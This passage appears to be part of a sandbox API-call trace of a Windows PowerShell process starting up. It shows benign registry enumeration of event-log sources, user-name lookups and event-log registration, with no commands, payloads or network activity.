RegEnumKeyExW (in: hKey=0x324, dwIndex=0x8, lpName=0x4665f0, lpcchName=0x1ecef8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x1ecef8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0111.845] CoTaskMemFree (pv=0x4665f0) [0111.845] CoTaskMemFree (pv=0x0) [0111.845] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf58 | out: phkResult=0x1ecf58*=0x330) returned 0x0 [0111.845] RegOpenKeyExW (in: hKey=0x330, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf58 | out: phkResult=0x1ecf58*=0x0) returned 0x2 [0111.845] RegOpenKeyExW (in: hKey=0x324, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf58 | out: phkResult=0x1ecf58*=0x338) returned 0x0 [0111.845] RegOpenKeyExW (in: hKey=0x338, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf58 | out: phkResult=0x1ecf58*=0x0) returned 0x2 [0111.845] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf58 | out: phkResult=0x1ecf58*=0x33c) returned 0x0 [0111.845] RegOpenKeyExW (in: hKey=0x33c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf58 | out: phkResult=0x1ecf58*=0x0) returned 0x2 [0111.845] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf58 | out: phkResult=0x1ecf58*=0x340) returned 0x0 [0111.846] RegOpenKeyExW (in: hKey=0x340, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf58 | out: phkResult=0x1ecf58*=0x0) returned 0x2 [0111.846] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf58 | out: phkResult=0x1ecf58*=0x344) returned 0x0 [0111.846] RegOpenKeyExW (in: hKey=0x344, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf58 | out: phkResult=0x1ecf58*=0x0) returned 0x2 [0111.846] RegOpenKeyExW (in: hKey=0x324, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf58 | out: phkResult=0x1ecf58*=0x348) returned 0x0 [0111.846] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf58 | out: phkResult=0x1ecf58*=0x0) returned 0x2 [0111.846] RegOpenKeyExW (in: hKey=0x324, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf58 | out: phkResult=0x1ecf58*=0x0) returned 0x5 [0112.026] CoTaskMemAlloc (cb=0x804) returned 0x1b89f6e0 [0112.026] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b89f6e0, nSize=0x1ed168 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ed168) returned 0x1 [0112.027] CoTaskMemFree (pv=0x1b89f6e0) [0112.028] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.028] GetUserNameW (in: lpBuffer=0x4665f0, pcbBuffer=0x1ed1a8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ed1a8) returned 1 [0112.028] CoTaskMemFree (pv=0x4665f0) [0112.097] CoTaskMemFree (pv=0x0) [0112.098] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.098] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x0, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.098] CoTaskMemFree (pv=0x4665f0) [0112.098] CoTaskMemFree (pv=0x0) [0112.098] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.098] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x1, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.098] CoTaskMemFree (pv=0x4665f0) [0112.098] CoTaskMemFree (pv=0x0) [0112.098] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.098] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x2, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.098] CoTaskMemFree (pv=0x4665f0) [0112.098] CoTaskMemFree (pv=0x0) [0112.098] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.098] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x3, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.098] CoTaskMemFree (pv=0x4665f0) [0112.098] CoTaskMemFree (pv=0x0) [0112.098] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.098] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x4, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.099] CoTaskMemFree (pv=0x4665f0) [0112.099] CoTaskMemFree (pv=0x0) [0112.099] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.099] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x5, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.099] CoTaskMemFree (pv=0x4665f0) [0112.099] CoTaskMemFree (pv=0x0) [0112.099] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.099] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x6, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.099] CoTaskMemFree (pv=0x4665f0) [0112.099] CoTaskMemFree (pv=0x0) [0112.099] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.099] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x7, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.099] CoTaskMemFree (pv=0x4665f0) [0112.099] CoTaskMemFree (pv=0x0) [0112.099] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.099] RegEnumKeyExW (in: hKey=0x358, dwIndex=0x8, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.099] CoTaskMemFree (pv=0x4665f0) [0112.099] CoTaskMemFree (pv=0x0) [0112.105] RegOpenKeyExW (in: hKey=0x358, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x374) returned 0x0 [0112.105] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x0) returned 0x2 [0112.105] RegOpenKeyExW (in: hKey=0x358, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x378) returned 0x0 [0112.106] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x37c) returned 0x0 [0112.106] RegCloseKey (hKey=0x37c) returned 0x0 [0112.106] RegCloseKey (hKey=0x358) returned 0x0 [0112.106] RegCloseKey (hKey=0x378) returned 0x0 [0112.107] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecea8 | out: phkResult=0x1ecea8*=0x378) returned 0x0 [0112.107] RegQueryInfoKeyW (in: hKey=0x378, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x1ece1c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ece18, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x1ece1c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ece18*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.107] CoTaskMemFree (pv=0x0) [0112.107] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.107] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x0, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.107] CoTaskMemFree (pv=0x4665f0) [0112.107] CoTaskMemFree (pv=0x0) [0112.107] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.107] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x1, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.107] CoTaskMemFree (pv=0x4665f0) [0112.107] CoTaskMemFree (pv=0x0) [0112.107] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.108] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x2, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.108] CoTaskMemFree (pv=0x4665f0) [0112.108] CoTaskMemFree (pv=0x0) [0112.108] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.108] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x3, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.108] CoTaskMemFree (pv=0x4665f0) [0112.108] CoTaskMemFree (pv=0x0) [0112.108] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.108] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x4, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.108] CoTaskMemFree (pv=0x4665f0) [0112.108] CoTaskMemFree (pv=0x0) [0112.108] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.108] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x5, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.108] CoTaskMemFree (pv=0x4665f0) [0112.108] CoTaskMemFree (pv=0x0) [0112.108] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.108] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x6, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.108] CoTaskMemFree (pv=0x4665f0) [0112.108] CoTaskMemFree (pv=0x0) [0112.108] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.108] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x7, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.109] CoTaskMemFree (pv=0x4665f0) [0112.109] CoTaskMemFree (pv=0x0) [0112.109] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.109] RegEnumKeyExW (in: hKey=0x378, dwIndex=0x8, lpName=0x4665f0, lpcchName=0x1ecea8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x1ecea8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.109] CoTaskMemFree (pv=0x4665f0) [0112.109] CoTaskMemFree (pv=0x0) [0112.109] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x358) returned 0x0 [0112.109] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x0) returned 0x2 [0112.109] RegOpenKeyExW (in: hKey=0x378, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x37c) returned 0x0 [0112.109] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x0) returned 0x2 [0112.109] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x380) returned 0x0 [0112.110] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x0) returned 0x2 [0112.110] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x384) returned 0x0 [0112.110] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x0) returned 0x2 [0112.110] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x388) returned 0x0 [0112.110] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x0) returned 0x2 [0112.110] RegOpenKeyExW (in: hKey=0x378, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x38c) returned 0x0 [0112.110] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x0) returned 0x2 [0112.111] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x0) returned 0x5 [0112.121] RegOpenKeyExW (in: hKey=0x378, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x390) returned 0x0 [0112.121] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x0) returned 0x2 [0112.121] RegOpenKeyExW (in: hKey=0x378, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x394) returned 0x0 [0112.121] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ecf08 | out: phkResult=0x1ecf08*=0x398) returned 0x0 [0112.121] RegCloseKey (hKey=0x398) returned 0x0 [0112.121] RegCloseKey (hKey=0x378) returned 0x0 [0112.122] RegCloseKey (hKey=0x394) returned 0x0 [0112.123] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ece78 | out: phkResult=0x1ece78*=0x394) returned 0x0 [0112.123] RegQueryInfoKeyW (in: hKey=0x394, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x1ecdec, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ecde8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x1ecdec*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1ecde8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.123] CoTaskMemFree (pv=0x0) [0112.123] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.123] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x0, lpName=0x4665f0, lpcchName=0x1ece78, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x1ece78, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.124] CoTaskMemFree (pv=0x4665f0) [0112.124] CoTaskMemFree (pv=0x0) [0112.124] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.124] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x1, lpName=0x4665f0, lpcchName=0x1ece78, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x1ece78, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.124] CoTaskMemFree (pv=0x4665f0) [0112.124] CoTaskMemFree (pv=0x0) [0112.124] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.124] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x2, lpName=0x4665f0, lpcchName=0x1ece78, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x1ece78, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.124] CoTaskMemFree (pv=0x4665f0) [0112.124] CoTaskMemFree (pv=0x0) [0112.124] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.124] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x3, lpName=0x4665f0, lpcchName=0x1ece78, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x1ece78, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.124] CoTaskMemFree (pv=0x4665f0) [0112.124] CoTaskMemFree (pv=0x0) [0112.124] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.124] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x4, lpName=0x4665f0, lpcchName=0x1ece78, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x1ece78, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.124] CoTaskMemFree (pv=0x4665f0) [0112.124] CoTaskMemFree (pv=0x0) [0112.124] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.124] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x5, lpName=0x4665f0, lpcchName=0x1ece78, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x1ece78, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.124] CoTaskMemFree (pv=0x4665f0) [0112.124] CoTaskMemFree (pv=0x0) [0112.124] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.124] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x6, lpName=0x4665f0, lpcchName=0x1ece78, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x1ece78, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.125] CoTaskMemFree (pv=0x4665f0) [0112.125] CoTaskMemFree (pv=0x0) [0112.125] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.125] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x7, lpName=0x4665f0, lpcchName=0x1ece78, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x1ece78, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.125] CoTaskMemFree (pv=0x4665f0) [0112.125] CoTaskMemFree (pv=0x0) [0112.125] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.125] RegEnumKeyExW (in: hKey=0x394, dwIndex=0x8, lpName=0x4665f0, lpcchName=0x1ece78, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x1ece78, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0112.125] CoTaskMemFree (pv=0x4665f0) [0112.125] CoTaskMemFree (pv=0x0) [0112.125] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x378) returned 0x0 [0112.125] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x0) returned 0x2 [0112.125] RegOpenKeyExW (in: hKey=0x394, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x398) returned 0x0 [0112.125] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x0) returned 0x2 [0112.125] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x39c) returned 0x0 [0112.125] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x0) returned 0x2 [0112.125] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x3a0) returned 0x0 [0112.126] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x0) returned 0x2 [0112.126] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x3a4) returned 0x0 [0112.126] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x0) returned 0x2 [0112.126] RegOpenKeyExW (in: hKey=0x394, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x3a8) returned 0x0 [0112.126] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x0) returned 0x2 [0112.126] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x0) returned 0x5 [0112.132] RegOpenKeyExW (in: hKey=0x394, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x3ac) returned 0x0 [0112.133] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x0) returned 0x2 [0112.133] RegOpenKeyExW (in: hKey=0x394, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x3b0) returned 0x0 [0112.133] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1eced8 | out: phkResult=0x1eced8*=0x3b4) returned 0x0 [0112.133] RegCloseKey (hKey=0x3b4) returned 0x0 [0112.133] RegCloseKey (hKey=0x394) returned 0x0 [0112.133] RegCloseKey (hKey=0x3b0) returned 0x0 [0112.161] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x1b960008 [0112.345] ReportEventW (hEventLog=0x1b960008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3e48b08*="WSMan", lpRawData=0x3e48878) returned 1 [0112.350] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.350] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.350] CoTaskMemFree (pv=0x41e390) [0112.351] CoTaskMemAlloc (cb=0x804) returned 0x1b89ff40 [0112.351] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b89ff40, nSize=0x1ed168 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ed168) returned 0x1 [0112.351] CoTaskMemFree (pv=0x1b89ff40) [0112.351] CoTaskMemAlloc (cb=0x204) returned 0x4665f0 [0112.351] GetUserNameW (in: lpBuffer=0x4665f0, pcbBuffer=0x1ed1a8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ed1a8) returned 1 [0112.352] CoTaskMemFree (pv=0x4665f0) [0112.352] ReportEventW (hEventLog=0x1b960008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3e4dff0*="Alias", lpRawData=0x3e4dd80) returned 1 [0112.353] CoTaskMemAlloc (cb=0x104) returned 0x41e390 [0112.353] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x41e390, nSize=0x80 | out: lpBuffer="") returned 0x0 [0112.353] CoTaskMemFree (pv=0x41e390) [0112.354] CoTaskMemAlloc (cb=0x804) returned 0x1b89ff40 [0112.354] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b89ff40, nSize=0x1ed168 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", 